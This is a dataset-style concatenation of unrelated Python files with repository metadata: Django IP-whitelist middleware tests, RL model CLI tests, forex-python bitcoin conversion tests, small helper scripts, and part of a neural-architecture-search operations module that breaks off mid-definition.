17.939394

39

0.652027

38

592

10.052632

0.5

0.078534

0.219895

0.282723

0.73822

0

0.243243

592

32

40

18.5

0.852679

0

0.273649

0

1

0

false

0

0.096774

0

0.096774

0

1

null

0

1

0

1

0

null

0

8

0c23e6155b3558b62a95a7d3240d21a029cbf9fd

14,096

py

Python

mithril/tests/strategy.py

urbanairship/django-mithril

9bcb1d9d6c21fa8734f900e527de10b25a455270

[ "BSD-3-Clause" ]

3

2015-07-20T11:51:31.000Z

2021-06-10T09:29:48.000Z

mithril/tests/strategy.py

urbanairship/django-mithril

9bcb1d9d6c21fa8734f900e527de10b25a455270

[ "BSD-3-Clause" ]

1

2016-02-17T19:08:52.000Z

2016-02-17T19:10:35.000Z

mithril/tests/strategy.py

urbanairship/django-mithril

9bcb1d9d6c21fa8734f900e527de10b25a455270

[ "BSD-3-Clause" ]

null

# (c) 2012 Urban Airship and Contributors from django.contrib.auth.models import User from django.core.cache import cache from django.http import HttpResponseForbidden from django.test import TestCase from mithril.models import Whitelist, CachedWhitelist from mithril.strategy import Strategy, CachedStrategy from mithril.tests.utils import fmt_ip import random import mithril USER_COUNT = 0 class StrategyTestCase(TestCase): def fake_request(self, expect): global USER_COUNT USER_COUNT += 1 return type('Req', (object,), { 'META':{'REMOTE_ADDR':expect, 'LOL':0}, 'user':User.objects.create_user('random-%d'%USER_COUNT) })() def tearDown(self): mithril.set_current_ip(None) def test_super_user_exempt(self): """ Make sure that superuser is exempt from IP whitelists. """ expected = '10.112.12.12' req = self.fake_request(expected) req.user.is_superuser = False whitelist = Whitelist.objects.create(name='asdf', slug='asdf') whitelist.range_set.create(ip='127.0.0.1', cidr=32) strat = Strategy() strat.return_one = lambda *a, **kw: whitelist.pk strat.actions = [['return_one', 'pk']] self.assertTrue( isinstance(strat.process_view(req, None, (), {}), HttpResponseForbidden) ) req.user.is_superuser = True self.assertEqual( strat.process_view(req, None, (), {}), None ) def test_get_ip_from_request(self): strat = Strategy() expected = random.randint(1, 10) req = self.fake_request(expected) strat.request_ip_headers = ['REMOTE_ADDR', 'LOL'] self.assertEqual(strat.get_ip_from_request(req), expected) strat.request_ip_headers = ['LOL'] self.assertEqual(strat.get_ip_from_request(req), 0) strat.request_ip_headers = ['LOL', 'REMOTE_ADDR'] self.assertEqual(strat.get_ip_from_request(req), 0) strat.request_ip_headers = ['DNE'] self.assertEqual(strat.get_ip_from_request(req), None) def test_process_view_skips_methods_returning_none(self): expected = fmt_ip(random.randint(1, 0xFFFFFFFF)) req = self.fake_request(expected) strat = Strategy() strat.return_none = lambda *a, **kw: None strat.actions = [['return_none', 'anything']] self.assertEqual( strat.process_view(req, None, (), {}), None ) def test_process_view_skips_lookups_raising_fielderror(self): expected = fmt_ip(random.randint(1, 0xFFFFFFFF)) req = self.fake_request(expected) strat = Strategy() strat.return_one = lambda *a, **kw: 1 strat.actions = [['return_one', 'anything']] self.assertEqual( strat.process_view(req, None, (), {}), None ) def test_process_view_skips_methods_returning_no_whitelists(self): expected = fmt_ip(random.randint(1, 0xFFFFFFFF)) req = self.fake_request(expected) strat = Strategy() # make sure that the cache is empty... cache.delete('whitelist:pk:1') # there are no whitelists at this point, # so a 'pk' lookup will return nothing! strat.return_one = lambda *a, **kw: 1 strat.actions = [['return_one', 'pk']] self.assertEqual( strat.process_view(req, None, (), {}), None ) def test_process_view_passes_forbidden_response_class(self): expected = fmt_ip(random.randint(1, 0xFFFFFFFF)) req = self.fake_request(expected) strat = Strategy() wl = Whitelist.objects.create( name='okay', slug='okay' ) wl.range_set.create( ip='0.0.0.0', cidr=32 ) strat.return_one = lambda *a, **kw: wl.pk strat.actions = [['return_one', 'pk']] self.assertTrue( isinstance(strat.process_view(req, None, (), {}), HttpResponseForbidden) ) def test_process_view_passes_curried_mithril_reset_view(self): expected = fmt_ip(random.randint(1, 0xFFFFFFFF)) req = self.fake_request(expected) strat = Strategy() wl = Whitelist.objects.create( name='okay', slug='okay' ) wl.range_set.create( ip='0.0.0.0', cidr=32 ) strat.return_one = lambda *a, **kw: wl.pk strat.actions = [['return_one', 'pk']] view = lambda:None view.mithril_reset = \ lambda request, view, args, kwargs: check( request, view, args, kwargs) def check(request, target_view, target_args, target_kwargs): self.assertTrue(request is req) self.assertEqual(target_view, view) return expected self.assertEqual( strat.process_view(req, view, (), {}), expected ) def test_whitelist_ip_automatically_fails_on_no_ip(self): strat = Strategy() self.assertEqual(strat.whitelist_ip(None, [], lambda:None), None) def test_whitelist_ip_returns_response_fn_on_not_okay(self): strat = Strategy() ip = fmt_ip(random.randint(1, 0xFFFFFFFF)) whitelist = Whitelist.objects.create(name='asdf', slug='asdf') whitelist.range_set.create( ip='0.0.0.0', cidr=32 ) Expected = object() self.assertEqual( strat.whitelist_ip(ip, [whitelist], lambda:Expected), Expected ) def test_get_authentication_backend_meta(self): base_backend = type('Any', (object,), {}) new_backend = Strategy.get_authentication_backend(base_backend) self.assertTrue(isinstance(new_backend(), base_backend)) self.assertEqual(new_backend().__module__, base_backend.__module__) self.assertEqual(new_backend().__class__, base_backend) def test_get_authentication_backend_authenticate(self): Expected = object() class MyStrategy(Strategy): partial_credential_lookup = ( ('pk', 'pk'), ) def authenticate(*args, **kwargs): return Expected base_backend = type('Any', (object,), {'authenticate':authenticate}) new_backend = MyStrategy.get_authentication_backend(base_backend) backend = new_backend() whitelist = Whitelist.objects.create(name='asdf', slug='asdf') whitelist.range_set.create( ip='0.0.0.0', cidr=32 ) # when the key isn't there. self.assertEqual(backend.authenticate(), None) # when the key is there and it fails. mithril.set_current_ip(fmt_ip(random.randint(1, 10))) self.assertEqual(backend.authenticate(pk=whitelist.pk), None) # when the key is there and it succeeds. mithril.set_current_ip(fmt_ip(0)) self.assertEqual(backend.authenticate(pk=whitelist.pk), Expected) # when the key is there, but there are no whitelists mithril.set_current_ip(fmt_ip(0)) self.assertEqual(backend.authenticate(pk=whitelist.pk+1), Expected) class CachedStrategyTestCase(StrategyTestCase): def test_super_user_exempt(self): """ Make sure that superuser is exempt from IP whitelists. """ expected = '10.112.12.12' req = self.fake_request(expected) req.user.is_superuser = False whitelist = CachedWhitelist.objects.create(name='asdf', slug='asdf') whitelist.range_set.create(ip='127.0.0.1', cidr=32) strat = CachedStrategy() strat.return_one = lambda *a, **kw: whitelist.pk strat.actions = [['return_one', 'pk']] resp = strat.process_view(req, None, (), {}) self.assertTrue( isinstance(resp, HttpResponseForbidden) ) req.user.is_superuser = True self.assertEqual( strat.process_view(req, None, (), {}), None ) def test_get_ip_from_request(self): strat = CachedStrategy() expected = random.randint(1, 10) req = self.fake_request(expected) strat.request_ip_headers = ['REMOTE_ADDR', 'LOL'] self.assertEqual(strat.get_ip_from_request(req), expected) strat.request_ip_headers = ['LOL'] self.assertEqual(strat.get_ip_from_request(req), 0) strat.request_ip_headers = ['LOL', 'REMOTE_ADDR'] self.assertEqual(strat.get_ip_from_request(req), 0) strat.request_ip_headers = ['DNE'] self.assertEqual(strat.get_ip_from_request(req), None) def test_process_view_skips_methods_returning_none(self): expected = fmt_ip(random.randint(1, 0xFFFFFFFF)) req = self.fake_request(expected) strat = CachedStrategy() strat.return_none = lambda *a, **kw: None strat.actions = [['return_none', 'anything']] self.assertEqual( strat.process_view(req, None, (), {}), None ) def test_process_view_skips_lookups_raising_fielderror(self): expected = fmt_ip(random.randint(1, 0xFFFFFFFF)) req = self.fake_request(expected) strat = CachedStrategy() strat.return_one = lambda *a, **kw: 1 strat.actions = [['return_one', 'anything']] self.assertEqual( strat.process_view(req, None, (), {}), None ) def test_process_view_skips_methods_returning_no_whitelists(self): expected = fmt_ip(random.randint(1, 0xFFFFFFFF)) req = self.fake_request(expected) strat = CachedStrategy() # make sure that the cache is empty... cache.delete('whitelist:pk:1') # there are no whitelists at this point, # so a 'pk' lookup will return nothing! strat.return_one = lambda *a, **kw: 1 strat.actions = [['return_one', 'pk']] self.assertEqual( strat.process_view(req, None, (), {}), None ) def test_process_view_passes_forbidden_response_class(self): expected = fmt_ip(random.randint(1, 0xFFFFFFFF)) req = self.fake_request(expected) strat = CachedStrategy() wl = CachedWhitelist.objects.create( name='okay', slug='okay' ) wl.range_set.create( ip='0.0.0.0', cidr=32 ) strat.return_one = lambda *a, **kw: wl.pk strat.actions = [['return_one', 'pk']] self.assertTrue( isinstance(strat.process_view(req, None, (), {}), HttpResponseForbidden) ) def test_process_view_passes_curried_mithril_reset_view(self): expected = fmt_ip(random.randint(1, 0xFFFFFFFF)) req = self.fake_request(expected) strat = CachedStrategy() wl = CachedWhitelist.objects.create( name='okay', slug='okay' ) wl.range_set.create( ip='0.0.0.0', cidr=32 ) strat.return_one = lambda *a, **kw: wl.pk strat.actions = [['return_one', 'pk']] view = lambda:None view.mithril_reset = \ lambda request, view, args, kwargs: check( request, view, args, kwargs) def check(request, target_view, target_args, target_kwargs): self.assertTrue(request is req) self.assertEqual(target_view, view) return expected self.assertEqual( strat.process_view(req, view, (), {}), expected ) def test_whitelist_ip_automatically_fails_on_no_ip(self): strat = CachedStrategy() self.assertEqual(strat.whitelist_ip(None, [], lambda:None), None) def test_whitelist_ip_returns_response_fn_on_not_okay(self): strat = CachedStrategy() ip = fmt_ip(random.randint(1, 0xFFFFFFFF)) whitelist = CachedWhitelist.objects.create(name='asdf', slug='asdf') whitelist.range_set.create( ip='0.0.0.0', cidr=32 ) Expected = object() self.assertEqual( strat.whitelist_ip(ip, [whitelist], lambda:Expected), Expected ) def test_get_authentication_backend_meta(self): base_backend = type('Any', (object,), {}) new_backend = CachedStrategy.get_authentication_backend(base_backend) self.assertTrue(isinstance(new_backend(), base_backend)) self.assertEqual(new_backend().__module__, base_backend.__module__) self.assertEqual(new_backend().__class__, base_backend) def test_get_authentication_backend_authenticate(self): Expected = object() class MyStrategy(CachedStrategy): partial_credential_lookup = ( ('pk', 'pk'), ) def authenticate(*args, **kwargs): return Expected base_backend = type('Any', (object,), {'authenticate':authenticate}) new_backend = MyStrategy.get_authentication_backend(base_backend) backend = new_backend() whitelist = CachedWhitelist.objects.create(name='asdf', slug='asdf') whitelist.range_set.create( ip='0.0.0.0', cidr=32 ) # when the key isn't there. self.assertEqual(backend.authenticate(), None) # when the key is there and it fails. mithril.set_current_ip(fmt_ip(random.randint(1, 10))) self.assertEqual(backend.authenticate(pk=whitelist.pk), None) # when the key is there and it succeeds. mithril.set_current_ip(fmt_ip(0)) self.assertEqual(backend.authenticate(pk=whitelist.pk), Expected) # when the key is there, but there are no whitelists mithril.set_current_ip(fmt_ip(0)) self.assertEqual(backend.authenticate(pk=whitelist.pk+1), Expected)

30.248927

77

0.603859

1,593

14,096

5.123666

0.093534

0.06616

0.053908

0.030875

0.912521

0.909704

0.899412

0

0.013941

0.282491

14,096

465

78

30.313978

0.793059

0.048383

0

0.82243

0

0.039116

0

0.008992

0

0.137072

1

0.087227

false

0.012461

0.028037

0.006231

0.143302

0

null

0

1

0

1

0

null

0

7

0c2a9225f990a28eaf63afa354f4ce34d5c4e693

4,435

py

Python

tests/models/rl/test_scripts.py

jfrancis71/pytorch-lightning-bolts

8a4cf8f61644c28d6df54ccffe3a52d6f5fce5a6

[ "Apache-2.0" ]

null

tests/models/rl/test_scripts.py

jfrancis71/pytorch-lightning-bolts

8a4cf8f61644c28d6df54ccffe3a52d6f5fce5a6

[ "Apache-2.0" ]

null

tests/models/rl/test_scripts.py

jfrancis71/pytorch-lightning-bolts

8a4cf8f61644c28d6df54ccffe3a52d6f5fce5a6

[ "Apache-2.0" ]

null

from unittest import mock import pytest @pytest.mark.parametrize('cli_args', ['--env PongNoFrameskip-v4' ' --max_steps 10' ' --fast_dev_run 1' ' --warm_start_size 10' ' --n_steps 2' ' --batch_size 10']) def test_cli_run_rl_dqn(cli_args): """Test running CLI for an example with default params.""" from pl_bolts.models.rl.dqn_model import cli_main cli_args = cli_args.split(' ') if cli_args else [] with mock.patch("argparse._sys.argv", ["any.py"] + cli_args): cli_main() @pytest.mark.parametrize('cli_args', ['--env PongNoFrameskip-v4' ' --max_steps 10' ' --fast_dev_run 1' ' --warm_start_size 10' ' --n_steps 2' ' --batch_size 10']) def test_cli_run_rl_double_dqn(cli_args): """Test running CLI for an example with default params.""" from pl_bolts.models.rl.double_dqn_model import cli_main cli_args = cli_args.split(' ') if cli_args else [] with mock.patch("argparse._sys.argv", ["any.py"] + cli_args): cli_main() @pytest.mark.parametrize('cli_args', ['--env PongNoFrameskip-v4' ' --max_steps 10' ' --fast_dev_run 1' ' --warm_start_size 10' ' --n_steps 2' ' --batch_size 10']) def test_cli_run_rl_dueling_dqn(cli_args): """Test running CLI for an example with default params.""" from pl_bolts.models.rl.dueling_dqn_model import cli_main cli_args = cli_args.split(' ') if cli_args else [] with mock.patch("argparse._sys.argv", ["any.py"] + cli_args): cli_main() @pytest.mark.parametrize('cli_args', ['--env PongNoFrameskip-v4' ' --max_steps 10' ' --fast_dev_run 1' ' --warm_start_size 10' ' --n_steps 2' ' --batch_size 10']) def test_cli_run_rl_noisy_dqn(cli_args): """Test running CLI for an example with default params.""" from pl_bolts.models.rl.noisy_dqn_model import cli_main cli_args = cli_args.split(' ') if cli_args else [] with mock.patch("argparse._sys.argv", ["any.py"] + cli_args): cli_main() @pytest.mark.parametrize('cli_args', ['--env PongNoFrameskip-v4' ' --max_steps 10' ' --fast_dev_run 1' ' --warm_start_size 10' ' --n_steps 2' ' --batch_size 10']) def test_cli_run_rl_per_dqn(cli_args): """Test running CLI for an example with default params.""" from pl_bolts.models.rl.per_dqn_model import cli_main cli_args = cli_args.split(' ') if cli_args else [] with mock.patch("argparse._sys.argv", ["any.py"] + cli_args): cli_main() @pytest.mark.parametrize('cli_args', ['--env CartPole-v0' ' --max_steps 10' ' --fast_dev_run 1' ' --batch_size 10']) def test_cli_run_rl_reinforce(cli_args): """Test running CLI for an example with default params.""" from pl_bolts.models.rl.reinforce_model import cli_main cli_args = cli_args.split(' ') if cli_args else [] with mock.patch("argparse._sys.argv", ["any.py"] + cli_args): cli_main() @pytest.mark.parametrize('cli_args', ['--env CartPole-v0' ' --max_steps 10' ' --fast_dev_run 1' ' --batch_size 10']) def test_cli_run_rl_vanilla_policy_gradient(cli_args): """Test running CLI for an example with default params.""" from pl_bolts.models.rl.vanilla_policy_gradient_model import cli_main cli_args = cli_args.split(' ') if cli_args else [] with mock.patch("argparse._sys.argv", ["any.py"] + cli_args): cli_main()

42.238095

73

0.507103

515

4,435

4.056311

0.116505

0.140737

0.067018

0.080421

0.934897

0

0.020773

0.381285

4,435

104

74

42.644231

0.740525

0.083427

0

0.786667

0

0.219906

0

1

0.093333

false

0

0.12

0

0.213333

0

null

0

1

0

1

0

null

0

7

a73e0e43e9067d4d06e57a8410ba8c9fa1035e83

63

py

Python

tests/test_sample.py

windriver-codecamp/alpha_drone

2845784b93296f1ff8d259418208d24202f05c5d

[ "MIT" ]

null

tests/test_sample.py

windriver-codecamp/alpha_drone

2845784b93296f1ff8d259418208d24202f05c5d

[ "MIT" ]

null

tests/test_sample.py

windriver-codecamp/alpha_drone

2845784b93296f1ff8d259418208d24202f05c5d

[ "MIT" ]

null

import pytest def test_m1(): pass def test_m2(): pass

9

14

0.634921

10

63

3.8

0.7

0.368421

0

0.043478

0.269841

63

7

15

9

0.782609

0

0.4

0

1

0.4

true

0.4

0.2

0

0.6

0

1

0

null

1

0

1

0

null

0

1

0

1

0

7

a747c8c90be8b1e8f9fe0721866532e3a3d6a93b

10,388

py

Python

tests/test_bitcoin.py

Otisey/forex-python

a34d074b8ee7411cd2868ea3945793ef43bf7965

[ "MIT" ]

505

2016-05-21T04:50:19.000Z

2022-03-29T04:40:36.000Z

tests/test_bitcoin.py

Otisey/forex-python

a34d074b8ee7411cd2868ea3945793ef43bf7965

[ "MIT" ]

92

2016-05-22T09:26:23.000Z

2022-02-18T11:26:56.000Z

tests/test_bitcoin.py

Otisey/forex-python

a34d074b8ee7411cd2868ea3945793ef43bf7965

[ "MIT" ]

166

2016-05-21T04:52:49.000Z

2022-03-25T03:57:24.000Z

import datetime from decimal import Decimal from unittest import TestCase from forex_python.bitcoin import (get_btc_symbol, convert_btc_to_cur_on, convert_to_btc_on, convert_btc_to_cur, convert_to_btc, get_latest_price, get_previous_price, get_previous_price_list, BtcConverter) from forex_python.converter import RatesNotAvailableError, DecimalFloatMismatchError class TestLatestPrice(TestCase): """ Test get latest price using currency code """ def test_latest_price_valid_currency(self): price = get_latest_price('USD') self.assertEqual(type(price), float) def test_latest_price_invalid_currency(self): price = get_latest_price('XYZ') self.assertFalse(price) class TestPreviousPrice(TestCase): """ Test Price with date input """ def test_previous_price_valid_currency(self): date_obj = datetime.datetime.today() - datetime.timedelta(days=15) price = get_previous_price('USD', date_obj) self.assertEqual(type(price), float) def test_previous_price_invalid_currency(self): date_obj = datetime.datetime.today() - datetime.timedelta(days=15) self.assertRaises(RatesNotAvailableError, get_previous_price, 'XYZ', date_obj) class TestPreviousPriceList(TestCase): """ Test previous price list for a currency """ def test_previous_price_list_with_valid_currency(self): start_date = datetime.datetime.today() - datetime.timedelta(days=15) end_date = datetime.datetime.today() price_list = get_previous_price_list('USD', start_date, end_date) self.assertTrue(price_list) self.assertEqual(type(price_list), dict) def test_previous_price_list_with_invalid_currency(self): start_date = datetime.datetime.today() - datetime.timedelta(days=15) end_date = datetime.datetime.today() price_list = get_previous_price_list('XYZ', start_date, end_date) self.assertFalse(price_list) self.assertEqual(type(price_list), dict) class TestConvertBtc(TestCase): """ Test Converting amount to Bit coins """ def test_convet_to_btc_with_valid_currency(self): coins = convert_to_btc(250, 'USD') self.assertEqual(type(coins), float) def test_convet_to_btc_with_invalid_currency(self): self.assertRaises(RatesNotAvailableError, convert_to_btc, 250, 'XYZ') class TestConvertBtcToCur(TestCase): """ Convert Bit Coins to Valid Currency amount """ def test_convert_btc_to_cur_valid_currency(self): amount = convert_btc_to_cur(2, 'USD') self.assertEqual(type(amount), float) def test_convert_btc_to_cur_invalid_currency(self): self.assertRaises(RatesNotAvailableError, convert_btc_to_cur, 2, 'XYZ') class TestConvertToBtcOn(TestCase): """ Convert To bit coin based on previous dates """ def test_convert_to_btc_on_with_valid_currency(self): date_obj = datetime.datetime.today() - datetime.timedelta(days=15) coins = convert_to_btc_on(300, 'USD', date_obj) self.assertEqual(type(coins), float) def test_convert_to_btc_on_with_invalid_currency(self): date_obj = datetime.datetime.today() - datetime.timedelta(days=15) self.assertRaises(RatesNotAvailableError, convert_to_btc_on, 300, 'XYZ', date_obj) class TestConvertBtcToCurOn(TestCase): """ Convert BitCoins to valid Currency """ def test_convert_to_btc_on_with_valid_currency(self): date_obj = datetime.datetime.today() - datetime.timedelta(days=15) amount = convert_btc_to_cur_on(3, 'USD', date_obj) self.assertEqual(type(amount), float) def test_convert_to_btc_on_with_invalid_currency(self): date_obj = datetime.datetime.today() - datetime.timedelta(days=15) self.assertRaises(RatesNotAvailableError, convert_btc_to_cur_on, 3, 'XYZ', date_obj) class TestBitCoinSymbol(TestCase): """ Bit Coin symbol """ def test_bitcoin_symbol(self): self.assertEqual(get_btc_symbol(), "\u0E3F") class TestBitCoinWithoutForceDecimal(TestCase): def setUp(self): self.b = BtcConverter() def test_latest_price_valid_currency(self): price = self.b.get_latest_price('USD') self.assertEqual(type(price), float) def test_latest_price_invalid_currency(self): price = self.b.get_latest_price('XYZ') self.assertFalse(price) def test_previous_price_valid_currency(self): date_obj = datetime.datetime.today() - datetime.timedelta(days=15) price = self.b.get_previous_price('USD', date_obj) self.assertEqual(type(price), float) def test_previous_price_invalid_currency(self): date_obj = datetime.datetime.today() - datetime.timedelta(days=15) self.assertRaises(RatesNotAvailableError, self.b.get_previous_price, 'XYZ', date_obj) def test_previous_price_list_with_valid_currency(self): start_date = datetime.datetime.today() - datetime.timedelta(days=15) end_date = datetime.datetime.today() price_list = self.b.get_previous_price_list('USD', start_date, end_date) self.assertTrue(price_list) self.assertEqual(type(price_list), dict) def test_previous_price_list_with_invalid_currency(self): start_date = datetime.datetime.today() - datetime.timedelta(days=15) end_date = datetime.datetime.today() price_list = self.b.get_previous_price_list('XYZ', start_date, end_date) self.assertFalse(price_list) self.assertEqual(type(price_list), dict) def test_convet_to_btc_with_valid_currency(self): coins = self.b.convert_to_btc(250, 'USD') self.assertEqual(type(coins), float) def test_convet_to_btc_with_invalid_currency(self): self.assertRaises(RatesNotAvailableError, self.b.convert_to_btc, 250, 'XYZ') def test_convert_btc_to_cur_valid_currency(self): amount = self.b.convert_btc_to_cur(2, 'USD') self.assertEqual(type(amount), float) def test_convert_btc_to_cur_invalid_currency(self): self.assertRaises(RatesNotAvailableError, self.b.convert_btc_to_cur, 2, 'XYZ') def test_convert_to_btc_on_with_valid_currency(self): date_obj = datetime.datetime.today() - datetime.timedelta(days=15) coins = self.b.convert_to_btc_on(300, 'USD', date_obj) self.assertEqual(type(coins), float) def test_convert_to_btc_on_with_invalid_currency(self): date_obj = datetime.datetime.today() - datetime.timedelta(days=15) self.assertRaises(RatesNotAvailableError, self.b.convert_to_btc_on, 300, 'XYZ', date_obj) def test_convert_to_btc_on_with_valid_currency(self): date_obj = datetime.datetime.today() - datetime.timedelta(days=15) amount = self.b.convert_btc_to_cur_on(3, 'USD', date_obj) self.assertEqual(type(amount), float) def test_convert_to_btc_on_with_invalid_currency(self): date_obj = datetime.datetime.today() - datetime.timedelta(days=15) self.assertRaises(RatesNotAvailableError, self.b.convert_btc_to_cur_on, 3, 'XYZ', date_obj) class TestBitCoinForceDecimal(TestCase): def setUp(self): self.b = BtcConverter(force_decimal=True) def test_latest_price_valid_currency(self): price = self.b.get_latest_price('USD') self.assertEqual(type(price), Decimal) def test_latest_price_invalid_currency(self): price = self.b.get_latest_price('XYZ') self.assertFalse(price) def test_previous_price_valid_currency(self): date_obj = datetime.datetime.today() - datetime.timedelta(days=15) price = self.b.get_previous_price('USD', date_obj) self.assertEqual(type(price), Decimal) def test_previous_price_invalid_currency(self): date_obj = datetime.datetime.today() - datetime.timedelta(days=15) self.assertRaises(RatesNotAvailableError, self.b.get_previous_price, 'XYZ', date_obj) def test_previous_price_list_with_valid_currency(self): start_date = datetime.datetime.today() - datetime.timedelta(days=15) end_date = datetime.datetime.today() price_list = self.b.get_previous_price_list('USD', start_date, end_date) self.assertTrue(price_list) self.assertEqual(type(price_list), dict) def test_previous_price_list_with_invalid_currency(self): start_date = datetime.datetime.today() - datetime.timedelta(days=15) end_date = datetime.datetime.today() price_list = self.b.get_previous_price_list('XYZ', start_date, end_date) self.assertFalse(price_list) self.assertEqual(type(price_list), dict) def test_convet_to_btc_with_valid_currency(self): coins = self.b.convert_to_btc(Decimal('250'), 'USD') self.assertEqual(type(coins), Decimal) def test_convet_to_btc_with_invalid_currency(self): self.assertRaises(RatesNotAvailableError, self.b.convert_to_btc, Decimal('250'), 'XYZ') def test_convert_btc_to_cur_valid_currency(self): amount = self.b.convert_btc_to_cur(Decimal('2'), 'USD') self.assertEqual(type(amount), Decimal) def test_convert_btc_to_cur_invalid_currency(self): self.assertRaises(RatesNotAvailableError, self.b.convert_btc_to_cur, Decimal('250'), 'XYZ') def test_convert_to_btc_on_with_valid_currency(self): date_obj = datetime.datetime.today() - datetime.timedelta(days=15) coins = self.b.convert_to_btc_on(Decimal('300'), 'USD', date_obj) self.assertEqual(type(coins), Decimal) def test_convert_to_btc_on_with_invalid_currency(self): date_obj = datetime.datetime.today() - datetime.timedelta(days=15) self.assertRaises(RatesNotAvailableError, self.b.convert_to_btc_on, Decimal('250'), 'XYZ', date_obj) def test_convert_to_btc_on_with_valid_currency(self): date_obj = datetime.datetime.today() - datetime.timedelta(days=15) amount = self.b.convert_btc_to_cur_on(Decimal('250'), 'USD', date_obj) self.assertEqual(type(amount), Decimal) def test_convert_to_btc_on_with_invalid_currency(self): date_obj = datetime.datetime.today() - datetime.timedelta(days=15) self.assertRaises(RatesNotAvailableError, self.b.convert_btc_to_cur_on, Decimal('3'), 'XYZ', date_obj)

41.059289

110

0.72035

1,351

10,388

5.198372

0.060696

0.042859

0.089705

0.099103

0.870853

0.867578

0.86117

0.827851

0.803503

0

0.01193

0.176935

10,388

252

111

41.222222

0.809474

0.027147

0

0.7

0

0.015224

0

0.288235

1

0.264706

false

0

0.029412

0

0.352941

0

null

0

1

0

null

0

1

0

7

a74e71e95617956567cc5c468920aa8b8599e4bd

200

py

Python

schedy/compat.py

incalia/schedy-client

e631f710f7c867d3c232ab7207e16a17e4a8821e

[ "MIT" ]

4

2018-03-21T20:57:59.000Z

2019-04-25T15:14:00.000Z

schedy/compat.py

incalia/schedy-client

e631f710f7c867d3c232ab7207e16a17e4a8821e

[ "MIT" ]

null

schedy/compat.py

incalia/schedy-client

e631f710f7c867d3c232ab7207e16a17e4a8821e

[ "MIT" ]

null

# -*- coding: utf-8 -*- from __future__ import absolute_import, division, print_function, unicode_literals import json def json_dumps(*args, **kwargs): return str(json.dumps(*args, **kwargs))

20

82

0.72

26

200

5.230769

0.730769

0.132353

0.191176

0.279412

0

0.005814

0.14

200

9

83

22.222222

0.784884

0.105

0

1

0.25

true

0

0.5

0.25

1

0.25

1

0

null

0

1

0

1

0

null

0

1

0

1

0

9

a78b06dbcde5e24ce1eaf362082ed6dfcaf712b8

204

py

Python

test2.py

songgiwoo/python1

a11d3172a82bbde69ab84ae2a28c26a9d3742905

[ "Apache-2.0" ]

null

test2.py

songgiwoo/python1

a11d3172a82bbde69ab84ae2a28c26a9d3742905

[ "Apache-2.0" ]

null

test2.py

songgiwoo/python1

a11d3172a82bbde69ab84ae2a28c26a9d3742905

[ "Apache-2.0" ]

null

a = input() b = input() result = a + b print(a, "+", b, "=", result) result = a - b print(a, "-", b, "=", result) result = a * b print(a, "*", b, "=", result) result = a / b print(a, "/", b, "=", result)

18.545455

29

0.470588

32

204

3

0.15625

0.166667

0.333333

0.541667

0.875

0

0.22549

204

10

30

20.4

0.607595

0

0.039216

0

1

0

false

0

0.4

0

null

0

1

0

null

0

8

a7a92d9786e524499b3c6428610d939c6481e12c

11,995

py

Python

ModelArchi/ModelSearch/operations_define.py

veya2ztn/mltool

4ed151152845ebe3de128e1f53c478581c1492e4

[ "IJG" ]

null

ModelArchi/ModelSearch/operations_define.py

veya2ztn/mltool

4ed151152845ebe3de128e1f53c478581c1492e4

[ "IJG" ]

null

ModelArchi/ModelSearch/operations_define.py

veya2ztn/mltool

4ed151152845ebe3de128e1f53c478581c1492e4

[ "IJG" ]

null

from .real_operation_module import * from .complex_operation_module import * from ..SymmetryCNN import P4_Conv2d,P4Z2_Conv2d,V2_Conv2d,H2_Conv2d,Z2_Conv2d from ..TensorNetworkLayer.Conv2dMPS import embedConv2d def config_list(size,stride): # generate all conv type for record=[] s = stride for p in range(1,size//2): for d in range(1,2*p+s-1+size): if (2*p+s-1)%d !=0:continue k = (2*p+s-1)//d+1 record.append([p//1,d//1,k]) return record def get_OPs_for(input_dim,stride,withbasic=True,circularQ=True): if input_dim is None:input_dim = MAXSIZE s = stride cl = config_list(input_dim,stride) if withbasic: names = [n for n in BasicOPS.keys()] else: names = ['none', 'avg_pool_3x3','max_pool_3x3','skip_connect',] for p,d,k in config_list(input_dim,stride):names.append(MSNAMERULE(k,d,s,p,circularQ)) return names ### all permitted operation list here OPS = { "none" : lambda C, stride, affine,padding_mode='zeros': Zero(stride), "avg_pool_3x3": lambda C, stride, affine,padding_mode='zeros': nn.AvgPool2d(3, stride=stride, padding=1, count_include_pad=False), "max_pool_3x3": lambda C, stride, affine,padding_mode='zeros': nn.MaxPool2d(3, stride=stride, padding=1), "skip_connect": lambda C, stride, affine,padding_mode='zeros': Identity() if stride == 1 else FactorizedReduce(C, C, affine=affine,padding_mode=padding_mode), "sep_conv_3x3": lambda C, stride, affine,padding_mode='zeros': SepConv(C, C, 3, stride, 1, affine=affine,padding_mode=padding_mode), "sep_conv_5x5": lambda C, stride, affine,padding_mode='zeros': SepConv(C, C, 5, stride, 2, affine=affine,padding_mode=padding_mode), "sep_conv_7x7": lambda C, stride, affine,padding_mode='zeros': SepConv(C, C, 7, stride, 3, affine=affine,padding_mode=padding_mode), "dil_conv_3x3": lambda C, stride, affine,padding_mode='zeros': DilConv(C, C, 3, stride, 2, 2, affine=affine,padding_mode=padding_mode), "dil_conv_5x5": lambda C, stride, affine,padding_mode='zeros': DilConv(C, C, 5, stride, 4, 2, affine=affine,padding_mode=padding_mode), "conv_7x1_1x7": lambda C, stride, affine,padding_mode='zeros': nn.Sequential( nn.ReLU(inplace=False), nn.Conv2d(C, C, (1, 7), stride=(1, stride), padding=(0, 3), bias=False), nn.Conv2d(C, C, (7, 1), stride=(stride, 1), padding=(3, 0), bias=False), nn.BatchNorm2d(C, affine=affine,padding_mode=padding_mode), ), "[symmetry_keep]avg_pool_3x3": lambda C, stride, affine,padding_mode='zeros': nn.AvgPool2d(3, stride=1, padding=1, count_include_pad=False) if stride == 1 else nn.AvgPool2d(2, stride=2, padding=0), "[symmetry_keep]max_pool_3x3": lambda C, stride, affine,padding_mode='zeros': nn.MaxPool2d(3, stride=1, padding=1) if stride == 1 else nn.MaxPool2d(2, stride=2, padding=0), "[symmetry_keep]skip_connect": lambda C, stride, affine,padding_mode='zeros': Identity() if stride == 1 else nn.AvgPool2d(2, stride=2, padding=0), "[symP4]sep_conv_3x3": lambda C, stride, affine,padding_mode='zeros': SepConv(C, C, 3, stride, 1, CNNModule=P4_Conv2d, affine=affine,padding_mode=padding_mode), "[symP4]sep_conv_5x5": lambda C, stride, affine,padding_mode='zeros': SepConv(C, C, 5, stride, 2, CNNModule=P4_Conv2d, affine=affine,padding_mode=padding_mode), "[symP4]sep_conv_7x7": lambda C, stride, affine,padding_mode='zeros': SepConv(C, C, 7, stride, 3, CNNModule=P4_Conv2d, 